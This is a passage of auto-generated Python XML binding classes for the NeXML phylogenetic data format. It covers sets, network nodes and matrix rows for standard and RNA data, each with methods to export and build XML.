valueOf_=None): super(CellSet, self).__init__(about, meta, label, id, ) self.cell = _cast(None, cell) pass def factory(*args_, **kwargs_): if CellSet.subclass: return CellSet.subclass(*args_, **kwargs_) else: return CellSet(*args_, **kwargs_) factory = staticmethod(factory) def get_cell(self): return self.cell def set_cell(self, cell): self.cell = cell def export(self, outfile, level, namespace_='', name_='CellSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='CellSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="CellSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='CellSet'): super(CellSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='CellSet') if self.cell is not None and 'cell' not in already_processed: already_processed.append('cell') outfile.write(' cell=%s' % (self.gds_format_string(quote_attrib(self.cell).encode(ExternalEncoding), input_name='cell'), )) def exportChildren(self, outfile, level, namespace_='', name_='CellSet', fromsubclass_=False): super(CellSet, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(CellSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='CellSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.cell is not None and 'cell' not in already_processed: already_processed.append('cell') showIndent(outfile, level) outfile.write('cell = "%s",\n' % (self.cell,)) super(CellSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(CellSet, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('cell', node) if value is not None and 'cell' not in already_processed: already_processed.append('cell') self.cell = value super(CellSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(CellSet, self).buildChildren(child_, node, nodeName_, True) pass # end class CellSet class RowSet(AbstractSet): subclass = None superclass = AbstractSet def __init__(self, about=None, meta=None, label=None, id=None, row=None, valueOf_=None): super(RowSet, self).__init__(about, meta, label, id, ) self.row = _cast(None, row) pass def factory(*args_, **kwargs_): if RowSet.subclass: return RowSet.subclass(*args_, **kwargs_) else: return RowSet(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def export(self, outfile, level, namespace_='', name_='RowSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RowSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="RowSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RowSet'): super(RowSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RowSet') if self.row is not None and 'row' not in already_processed: already_processed.append('row') outfile.write(' row=%s' % (self.gds_format_string(quote_attrib(self.row).encode(ExternalEncoding), input_name='row'), )) def exportChildren(self, outfile, level, namespace_='', name_='RowSet', fromsubclass_=False): super(RowSet, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(RowSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RowSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.row is not None and 'row' not in already_processed: already_processed.append('row') showIndent(outfile, level) outfile.write('row = "%s",\n' % (self.row,)) super(RowSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RowSet, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('row', node) if value is not None and 'row' not in already_processed: already_processed.append('row') self.row = value super(RowSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(RowSet, self).buildChildren(child_, node, nodeName_, True) pass # end class RowSet class CharSet(AbstractSet): subclass = None superclass = AbstractSet def __init__(self, about=None, meta=None, label=None, id=None, char=None, valueOf_=None): super(CharSet, self).__init__(about, meta, label, id, ) self.char = _cast(None, char) pass def factory(*args_, **kwargs_): if CharSet.subclass: return CharSet.subclass(*args_, **kwargs_) else: return CharSet(*args_, **kwargs_) factory = staticmethod(factory) def get_char(self): return self.char def set_char(self, char): self.char = char def export(self, outfile, level, namespace_='', name_='CharSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='CharSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="CharSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='CharSet'): super(CharSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='CharSet') if self.char is not None and 'char' not in already_processed: already_processed.append('char') outfile.write(' char=%s' % (self.gds_format_string(quote_attrib(self.char).encode(ExternalEncoding), input_name='char'), )) def exportChildren(self, outfile, level, namespace_='', name_='CharSet', fromsubclass_=False): super(CharSet, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(CharSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='CharSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.char is not None and 'char' not in already_processed: already_processed.append('char') showIndent(outfile, level) outfile.write('char = "%s",\n' % (self.char,)) super(CharSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(CharSet, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('char', node) if value is not None and 'char' not in already_processed: already_processed.append('char') self.char = value super(CharSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(CharSet, self).buildChildren(child_, node, nodeName_, True) pass # end class CharSet class StateSet(AbstractSet): subclass = None superclass = AbstractSet def __init__(self, about=None, meta=None, label=None, id=None, uncertain_state_set=None, state=None, polymorphic_state_set=None, valueOf_=None): super(StateSet, self).__init__(about, meta, label, id, ) self.uncertain_state_set = _cast(None, uncertain_state_set) self.state = _cast(None, state) self.polymorphic_state_set = _cast(None, polymorphic_state_set) pass def factory(*args_, **kwargs_): if StateSet.subclass: return StateSet.subclass(*args_, **kwargs_) else: return StateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def get_state(self): return self.state def set_state(self, state): self.state = state def get_polymorphic_state_set(self): return self.polymorphic_state_set def set_polymorphic_state_set(self, polymorphic_state_set): self.polymorphic_state_set = polymorphic_state_set def export(self, outfile, level, namespace_='', name_='StateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StateSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="StateSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StateSet'): super(StateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StateSet') if self.uncertain_state_set is not None and 'uncertain_state_set' not in already_processed: already_processed.append('uncertain_state_set') outfile.write(' uncertain_state_set=%s' % (self.gds_format_string(quote_attrib(self.uncertain_state_set).encode(ExternalEncoding), input_name='uncertain_state_set'), )) if self.state is not None and 'state' not in already_processed: already_processed.append('state') outfile.write(' state=%s' % (self.gds_format_string(quote_attrib(self.state).encode(ExternalEncoding), input_name='state'), )) if self.polymorphic_state_set is not None and 'polymorphic_state_set' not in already_processed: already_processed.append('polymorphic_state_set') outfile.write(' polymorphic_state_set=%s' % (self.gds_format_string(quote_attrib(self.polymorphic_state_set).encode(ExternalEncoding), input_name='polymorphic_state_set'), )) def exportChildren(self, outfile, level, namespace_='', name_='StateSet', fromsubclass_=False): super(StateSet, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(StateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.uncertain_state_set is not None and 'uncertain_state_set' not in already_processed: already_processed.append('uncertain_state_set') showIndent(outfile, level) outfile.write('uncertain_state_set = "%s",\n' % (self.uncertain_state_set,)) if self.state is not None and 'state' not in already_processed: already_processed.append('state') showIndent(outfile, level) outfile.write('state = "%s",\n' % (self.state,)) if self.polymorphic_state_set is not None and 'polymorphic_state_set' not in already_processed: already_processed.append('polymorphic_state_set') showIndent(outfile, level) outfile.write('polymorphic_state_set = "%s",\n' % (self.polymorphic_state_set,)) super(StateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StateSet, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('uncertain_state_set', node) if value is not None and 'uncertain_state_set' not in already_processed: already_processed.append('uncertain_state_set') self.uncertain_state_set = value value = find_attr_value_('state', node) if value is not None and 'state' not in already_processed: already_processed.append('state') self.state = value value = find_attr_value_('polymorphic_state_set', node) if value is not None and 'polymorphic_state_set' not in already_processed: already_processed.append('polymorphic_state_set') self.polymorphic_state_set = value super(StateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(StateSet, self).buildChildren(child_, node, nodeName_, True) pass # end class StateSet class TaxonSet(AbstractSet): subclass = None superclass = AbstractSet def __init__(self, about=None, meta=None, label=None, id=None, otu=None, valueOf_=None): super(TaxonSet, self).__init__(about, meta, label, id, ) self.otu = _cast(None, otu) pass def factory(*args_, **kwargs_): if TaxonSet.subclass: return TaxonSet.subclass(*args_, **kwargs_) else: return TaxonSet(*args_, **kwargs_) factory = staticmethod(factory) def get_otu(self): return self.otu def set_otu(self, otu): self.otu = otu def export(self, outfile, level, namespace_='', name_='TaxonSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='TaxonSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="TaxonSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='TaxonSet'): super(TaxonSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='TaxonSet') if self.otu is not None and 'otu' not in already_processed: already_processed.append('otu') outfile.write(' otu=%s' % (self.gds_format_string(quote_attrib(self.otu).encode(ExternalEncoding), input_name='otu'), )) def exportChildren(self, outfile, level, namespace_='', name_='TaxonSet', fromsubclass_=False): super(TaxonSet, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(TaxonSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='TaxonSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.otu is not None and 'otu' not in already_processed: already_processed.append('otu') showIndent(outfile, level) outfile.write('otu = "%s",\n' % (self.otu,)) super(TaxonSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(TaxonSet, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('otu', node) if value is not None and 'otu' not in already_processed: already_processed.append('otu') self.otu = value super(TaxonSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(TaxonSet, self).buildChildren(child_, node, nodeName_, True) pass # end class TaxonSet class NetworkNode(AbstractNode): """A concrete network node implementation.""" subclass = None superclass = AbstractNode def __init__(self, about=None, meta=None, label=None, id=None, otu=None, root=False, valueOf_=None): super(NetworkNode, self).__init__(about, meta, label, id, otu, root, ) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if NetworkNode.subclass: return NetworkNode.subclass(*args_, **kwargs_) else: return NetworkNode(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def export(self, outfile, level, namespace_='', name_='NetworkNode', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='NetworkNode') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='NetworkNode'): super(NetworkNode, self).exportAttributes(outfile, level, already_processed, namespace_, name_='NetworkNode') def exportChildren(self, outfile, level, namespace_='', name_='NetworkNode', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(NetworkNode, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='NetworkNode'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(NetworkNode, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(NetworkNode, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(NetworkNode, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class NetworkNode class StandardMatrixObsRow(AbstractObsRow): """This is a row in a matrix of standard data as granular obervations.""" subclass = None superclass = AbstractObsRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, cell=None, set=None, valueOf_=None): super(StandardMatrixObsRow, self).__init__(about, meta, label, id, otu, cell, set, ) if meta is None: self.meta = [] else: self.meta = meta if cell is None: self.cell = [] else: self.cell = cell if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if StandardMatrixObsRow.subclass: return StandardMatrixObsRow.subclass(*args_, **kwargs_) else: return StandardMatrixObsRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_cell(self): return self.cell def set_cell(self, cell): self.cell = cell def add_cell(self, value): self.cell.append(value) def insert_cell(self, index, value): self.cell[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='StandardMatrixObsRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardMatrixObsRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardMatrixObsRow'): super(StandardMatrixObsRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardMatrixObsRow') def exportChildren(self, outfile, level, namespace_='', name_='StandardMatrixObsRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for cell_ in self.cell: cell_.export(outfile, level, namespace_, name_='cell') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.cell or self.set or super(StandardMatrixObsRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardMatrixObsRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardMatrixObsRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardMatrixObsRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('cell=[\n') level += 1 for cell_ in self.cell: showIndent(outfile, level) outfile.write('model_.StandardObs(\n') cell_.exportLiteral(outfile, level, name_='StandardObs') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CellSet(\n') set_.exportLiteral(outfile, level, name_='CellSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardMatrixObsRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'cell': obj_ = StandardObs.factory() obj_.build(child_) self.cell.append(obj_) elif nodeName_ == 'set': obj_ = CellSet.factory() obj_.build(child_) self.set.append(obj_) # end class StandardMatrixObsRow class StandardMatrixSeqRow(AbstractSeqRow): """This is a row in a matrix of standard data as character sequences.""" subclass = None superclass = AbstractSeqRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, seq=None, valueOf_=None): super(StandardMatrixSeqRow, self).__init__(about, meta, label, id, otu, seq, ) if meta is None: self.meta = [] else: self.meta = meta self.seq = seq def factory(*args_, **kwargs_): if StandardMatrixSeqRow.subclass: return StandardMatrixSeqRow.subclass(*args_, **kwargs_) else: return StandardMatrixSeqRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_seq(self): return self.seq def set_seq(self, seq): self.seq = seq def validate_StandardSeq(self, value): # Validate type StandardSeq, a restriction on AbstractTokenList. pass def export(self, outfile, level, namespace_='', name_='StandardMatrixSeqRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardMatrixSeqRow') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardMatrixSeqRow'): super(StandardMatrixSeqRow, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardMatrixSeqRow') def exportChildren(self, outfile, level, namespace_='', name_='StandardMatrixSeqRow', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') if self.seq is not None: showIndent(outfile, level) outfile.write('<%sseq>%s</%sseq>\n' % (namespace_, self.gds_format_double_list(self.seq, input_name='seq'), namespace_)) def hasContent_(self): if ( self.meta or self.seq is not None or super(StandardMatrixSeqRow, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardMatrixSeqRow'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardMatrixSeqRow, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardMatrixSeqRow, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') if self.seq is not None: showIndent(outfile, level) outfile.write('seq=%e,\n' % self.seq) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardMatrixSeqRow, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) elif nodeName_ == 'seq': seq_ = child_.text seq_ = self.gds_validate_double_list(seq_, node, 'seq') self.seq = seq_ self.validate_StandardSeq(self.seq) # validate type StandardSeq # end class StandardMatrixSeqRow class StandardUncertainStateSet(AbstractUncertainStateSet): """The StandardUncertainStateSet type is a single uncertain ambiguity mapping.""" subclass = None superclass = AbstractUncertainStateSet def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, member=None, valueOf_=None): super(StandardUncertainStateSet, self).__init__(about, meta, label, id, symbol, member, ) self.symbol = _cast(None, symbol) if member is None: self.member = [] else: self.member = member def factory(*args_, **kwargs_): if StandardUncertainStateSet.subclass: return StandardUncertainStateSet.subclass(*args_, **kwargs_) else: return StandardUncertainStateSet(*args_, **kwargs_) factory = staticmethod(factory) def get_member(self): return self.member def set_member(self, member): self.member = member def add_member(self, value): self.member.append(value) def insert_member(self, index, value): self.member[index] = value def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def export(self, outfile, level, namespace_='', name_='StandardUncertainStateSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardUncertainStateSet') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardUncertainStateSet'): super(StandardUncertainStateSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardUncertainStateSet') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (self.gds_format_string(quote_attrib(self.symbol).encode(ExternalEncoding), input_name='symbol'), )) def exportChildren(self, outfile, level, namespace_='', name_='StandardUncertainStateSet', fromsubclass_=False): for member_ in self.member: member_.export(outfile, level, namespace_, name_='member') def hasContent_(self): if ( self.member or super(StandardUncertainStateSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardUncertainStateSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = "%s",\n' % (self.symbol,)) super(StandardUncertainStateSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardUncertainStateSet, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('member=[\n') level += 1 for member_ in self.member: showIndent(outfile, level) outfile.write('model_.StandardMapping(\n') member_.exportLiteral(outfile, level, name_='StandardMapping') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value super(StandardUncertainStateSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'member': obj_ = StandardMapping.factory() obj_.build(child_) self.member.append(obj_) # end class StandardUncertainStateSet class RNAMatrixObsRow(AbstractObsRow): """This is a row in a matrix of RNA data containing granular observations.""" subclass = None superclass = AbstractObsRow def __init__(self, about=None, meta=None, label=None, id=None, otu=None, cell=None, set=None, valueOf_=None): super(RNAMatrixObsRow, self).__init__(about, meta, label, id, otu, cell, set, ) if meta is None: self.meta = [] else: self.meta = meta if cell is None: self.cell = [] else: self.cell = cell if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if RNAMatrixObsRow.subclass: return RNAMatrixObsRow.subclass(*args_, **kwargs_) else: return RNAMatrixObsRow(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_cell(self): return self.cell def set_cell(self, cell): self.cell = cell def add_cell(self, value): self.cell.append(value) def insert_cell(self, index, value): self.cell[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='RNAMatrixObsRow', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, 